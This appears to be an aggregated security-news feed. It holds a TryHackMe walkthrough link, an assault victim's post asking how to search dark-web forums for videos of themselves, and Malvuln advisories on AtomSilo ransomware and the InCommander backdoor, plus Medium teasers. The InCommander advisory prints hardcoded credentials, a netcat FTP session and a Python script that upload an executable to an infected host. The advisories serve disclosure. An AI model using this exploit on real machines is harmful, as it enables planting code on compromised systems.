hacking: security in practice
Here is my Day 1 walk through of TryHackMe's Advent of Cyber! A great event for beginners and experts alike. Still going on!

Going to drop these regularly until the end of the event. Let me know what you think!

You can still join today! It is great for beginners to learn and even people that know their way around get the chance to be hands on with things they might have other wise not touched.

​

See you there!

https://github.com/s1l1c0np1r4t3/TryHackMe-AdventOfCyber2022/blob/main/Day-1/TryHackMe-AdventOfCyber-Day1.md

submitted by /u/s1l1c0np1r4t3
[link] [comments]

Deep Web
I have no experience with the deep Web so looking for any help regarding my situation below.

Hi so I'm a young male who was druged and sexually assaulted not too long ago. Currently the detective involved with the case believes there is possible trafficking involved and that I got away simply because I woke up a lot sooner than the suspect thought I would and the way I escaped the detective thinks this person probably did not even consider I would even try to escape the way I did.

My question is even though I don't remember everything about the assault I remember certain things such as a lot of equipment that was brought into the room that was covered up that I couldn't see and other things that make me believe he was probably videotaping what he was doing as well.

He obviously would not post this stuff on a normal website however I have suspicion he could be posting it on dark web forms.

My question is, does anybody know a way I could try and look for this kind of thing to help with my case?

I have really no experience with the dark web and I don't want to go on websites that can possibly incriminate me or something like that because my intent is not to look at anything on the website, it is simply to try and find possible incriminating things about this guy and find the videos of me on these websites that can further help my case.

Does anybody know the proper things I need in order to even view these dark web forms to begin with and can anybody put me in the possible direction of where I should look for this kind of thing?

I would be looking at it via a cell phone. I don't have a computer or anything so pretty much just trying to see how to go about doing this on a phone.

Thanks!

submitted by /u/Cali_24-Sav
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Exploit Collector
Ransom.Win64.AtomSilo MVID-2022-0666 Cryptography Logic Flaw

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
Ransom.Win64.AtomSilo malware suffers from a cryptography logic flaw.

SHA-256 | 3f34b49de4ec6bce1e97067f5337c3513d5b66c17f2c5706a17f5ee88759871f

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5559e9f5e1645f8554ea020a29a5a3ee.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Ransom.Win64.AtomSilo
Vulnerability: Crypto Logic Flaw
Family: AtomSilo
Type: PE64
MD5: 5559e9f5e1645f8554ea020a29a5a3ee
Vuln ID: MVID-2022-0666
Disclosure: 12/14/2022
Description: AtomSilo ransomware FAILS to encrypt non PE files that have a ".exe" in the filename. Creating specially crafted file names successfully evaded encryption for this malware sample.

E.g.

Test.exe.docx
Test.exe.pdf

Tested successfully in a virtual machine environment.
PoC Video:
https://www.youtube.com/watch?v=xyBt9Ppb-xc

Exploit/PoC:
Create files with ".exe" within the filename.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.InCommander.17.b MVID-2022-0665 Hardcoded Credentials

https://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png
Backdoor.Win32.InCommander.17.b malware suffers from a hardcoded credential vulnerability.

SHA-256 | 099c10722a16f8ff775b1d257478160f16555c845382490673f316cc2a4f04e4

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.InCommander.17.b
Vulnerability: Hardcoded Cleartext Credentials
Family: InCommander
Type: PE32
MD5: dd76d8a5874bf8bf05279e35c68449ca
Vuln ID: MVID-2022-0665
Dropped files: incsrv.exe
Disclosure: 12/14/2022
Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.

Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 9401
220 InCommad FTP Server ready.
USER IncUser-b3
331 Password required for IncUser-b3.
PASS InClientMainPassword
230 User IncUser-b3 logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,241,155).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=61851
DOOM="DOOM_SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Hacking on Medium
Gemini crypto exchange database leaked, 5.7 million users affected

https://cdn-images-1.medium.com/max/1024/0*WkECN1TZ0q9gs6Ns.jpg
A major security breach has hit the US cryptocurrency exchange Gemini. The company said hackers stole over 5.7 million user records from…

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Hacking on Medium
TryHackMe Advent of Cyber [Day 14]-> Web Applications

https://cdn-images-1.medium.com/max/2560/1*p5zthoQAn1B1XY9_OsMC5Q.jpeg
Web applications are a type of software that is accessed through the internet. They are used to provide a service. They can be accessed by…

Continue reading on Medium »

Hacking on Medium
Recon Skills and Tips — Learn All About Them at IWCON 2022

https://cdn-images-1.medium.com/max/1080/1*s42t0OQd2FgWr5iA1ihUdA.png
Less than 2 days left for 2022’s much-awaited virtual cybersecurity conference.

Continue reading on InfoSec Write-ups »